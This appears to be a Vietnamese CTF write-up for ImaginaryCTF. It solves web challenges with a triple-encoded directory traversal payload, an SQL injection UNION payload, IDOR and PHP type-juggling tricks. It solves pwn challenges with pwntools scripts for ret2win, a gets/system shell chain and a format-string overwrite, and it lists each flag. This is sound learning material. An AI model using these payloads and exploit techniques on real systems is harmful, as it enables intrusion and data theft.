> **Rank : 94/880**
> 
> Try harder next time.......

## WEB
### Inspection
Bài này ta thấy trống rỗng không có đường link nào cả nên suy ra giấu trong source gì đó nên chúng ta mở inspect lên coi sao:

Ta có thể thấy nội dung của flag nằm trong attribute của thẻ p
#### `flag:ictf{m4rkdown_parser_fail_1a211b44}`
### Idoriot
Bài này cho ta 1 form đăng nhập và 1 form đăng kí khi đăng nhập vào thì nó sẽ hiện source như sau:

Có vẻ nếu chúng ta có user_id = 0 thì chúng ta sẽ lấy được flag nhưng file flag.txt truy cập thử xem sao:

Còn 1 cách nữa trong form đăng kí chúng ta có thể set user_id thành 0 đăng kí và lấy flag thôi:

#### `flag:ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}`
### Perfect Picture
Bài này không biết nói sao Chỉ cần đọc code và upload 1 file image theo đúng đề là được :
Ta có câu lệnh python sau:

from PIL import Image
from PIL.PngImagePlugin import PngInfo

image = Image.new("RGBA", (690, 420), "white")
image.putpixel((412, 309), (52, 146, 235, 123))
image.putpixel((12, 209), (42, 16, 125, 231))
image.putpixel((264, 143), (122, 136, 25, 213))

metadata = PngInfo()
metadata.add_text("Description", "jctf{not_the_flag}")
metadata.add_text("Title", "kool_pic")
metadata.add_text("Author", "anon")

image.save('_image.png', pnginfo=metadata)
image.close()

#### `flag:ictf{7ruly_th3_n3x7_p1c4ss0_753433}`
### Roks
Bài này cho ta 1 trang web random các hình ảnh về cục đá và source code ta có thể truy cập từng bức ảnh bằng cách sau:

Nhìn là ta có thể đoán được ngay nó sẽ dính directory travesal đọc file docker ta sẽ biết file flag.png nằm trong thư mục /:
Vì thế payload của ta sẽ kiểu dạng `/?file=../../../../flag.png`
Nhưng đoạn code trên đã filter nên chúng ta chỉ còn cách bypass ở đây chúng ta sẽ dùng triple urlencode vì nó đã decode 1 lần trong source và 1 lần ở pt GET rồi:
`payload:%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252fflag%25252epng`
Nhập vào rổi lấy flag thôi:
#### `flag:ictf{tr4nsv3rs1ing_0v3r_r0k5_6a3367}`
### Blank
Bài này cho ta 1 source code và 1 trang web yêu cầu login:
Đọc source ta sẽ thấy nó tạo ra 1 database với bảng user trống rỗng :
Nhưng nếu có row nào trả về được thì ta sẽ lấy được flag:
Vì thế ở đây ta sẽ dùng union để có row trả về:
`payload:
user = admin ,
pass = 1" UNION ALL SELECT NULL, NULL,"a
`
Sau khi nhập vào sẽ có:
Ta chỉ cần đến /flag và lấy cờ thôi:
#### `flag:ictf{sqli_too_powerful_9b36140a}`
### Idoriot-revenge
Bài này cho ta 1 form đăng nhập và đăng kí giống bài trên khi ta login vào sẽ có source code:
Ta thấy điều kiện để lấy flag là user_id là "php" và kiểm tra username của ta có chữ admin ko vì thế khi tạo tài khoản ta tạo là admin1234 gì đó là được.
Còn user_id ta thấy nó được so sánh == nên ta cho nó thành 0 là được bạn nào muốn hiểu thêm thì tìm `php type juggling` nhé:
#### `flag:ictf{this_ch4lleng3_creator_1s_really_an_idoriot}`
## PWN
### Ret2win
Bài này đề cho ta file binary và file source

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[64];
  gets(buf);
}

int win() {
  system("cat flag.txt");
}

Vậy bài này bof cơ bản.

from pwn import *
exe = ELF("chal")
#p = process(exe.path)
p = remote("ret2win.chal.imaginaryctf.org",1337)
p.sendline(b'a'*72+p64(0x000000000040101a)+p64(exe.sym['win']))
p.interactive()

#### `flag:ictf{r3turn_0f_th3_k1ng?}`
### Ret2lose
Bài này cũng cho file binary và file source y chang bài trước.
Lần này đề nói thêm là phải lấy shell. Ở đây khi debug ta nhận thấy rdi tức arguments 1 trỏ vào địa chỉ có thể read-write trước khi `ret` -> gọi PTL `gets` -> nhập `/bin/sh` -> gọi PLT `system`
Khi chạy code thì ta thấy rằng thay vì thực hiện `/bin/sh` mà thực hiện `/bin.sh`
Ta để ý rằng `ord(.) < ord (/)` 1 đơn vị. Vậy thì ta thử gửi `ord(0)` vì `ord(0)-1 = ord(/)`
Đổi lại thì ta có được flag.

from pwn import *
exe = ELF("chal")
p = process(exe.path)
#p = remote("ret2win.chal.imaginaryctf.org",1337)

'''
gdb.attach(p,
"""
b*main + 34
""")
input()
'''
gets = 0x401060
ret = 0x000000000040101a
p.sendline(b'a'*64+p64(exe.bss()+0x20)+p64(ret)+p64(gets)+p64(ret)+p64(0x401050))
p.sendline(b'/bin0sh\x00')
p.interactive()

#### `flag:ictf{ret2libc?_what_libc?}`
### Form
Bài này cho ta 1 file binary


Dễ dàng nhận thấy có lỗi format string ở hàm `printf(format)`


Ta thấy rằng trước khi gọi `printf` thì trên stack có địa chỉ heap lưu `format` chỉ khác địa chỉ lưu flag 1 byte cuối.


Do đó ta overwrite bằng `%n`. Nhưng ở đây có lưu ý là gọi từng %c thay vì gọi `%6$c` vì nó sẽ update stack trong từng lần gọi `%c` thay vì gọi giá trị cũ như `%6$c`

from pwn import *
exe = ELF("chal")
p = process(exe.path)
#p = remote("form.chal.imaginaryctf.org",1337)
gdb.attach(p,
"""
b*main+207
c
""")
input()
payload = b"%155c" +b"%c"*5+ b"%hhn" +b'%6$s' #+ b'%p'*6 + b'%6$p'
p.sendline(payload)

p.interactive()

#### `flag:ictf{ngl_kinda_bored_of_these}`